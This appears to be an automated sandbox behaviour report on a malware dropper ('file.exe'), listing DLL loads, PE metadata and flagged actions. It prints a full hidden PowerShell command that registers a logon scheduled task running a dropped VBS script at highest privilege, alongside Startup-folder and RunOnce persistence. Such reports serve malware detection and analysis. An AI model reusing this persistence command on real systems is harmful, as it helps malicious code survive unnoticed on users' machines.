Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: avicap32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvfw32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winmm.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: powershell.lnk.12.dr

LNK file: ..\..\..\..\..\powershell.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wextract.pdb source: file.exe
Source:	Binary string: wextract.pdbGCTL source: file.exe
Source:	Binary string: powershell.pdbUGP source: powershell.exe.12.dr
Source:	Binary string: powershell.pdb source: powershell.exe.12.dr

Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_414_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Windows_Log_414.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_414_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Windows_Log_414.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden	Jump to behavior

Source: powershell.exe.12.dr

Static PE information: 0x7EDA4115 [Wed Jun 10 07:45:25 2037 UTC]

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78CA61C38 memset,memset,RegCreateKeyExA,RegQueryValueExA,RegCloseKey,GetSystemDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,GetSystemDirectoryA,LocalAlloc,GetModuleFileNameA,RegCloseKey,RegSetValueExA,RegCloseKey,LocalFree,

0_2_00007FF78CA61C38

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 5_2_00007FFD9B58D2A5 pushad ; iretd

5_2_00007FFD9B58D2A6

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\powershell.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78CA615F8 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,

0_2_00007FF78CA615F8

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk

Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
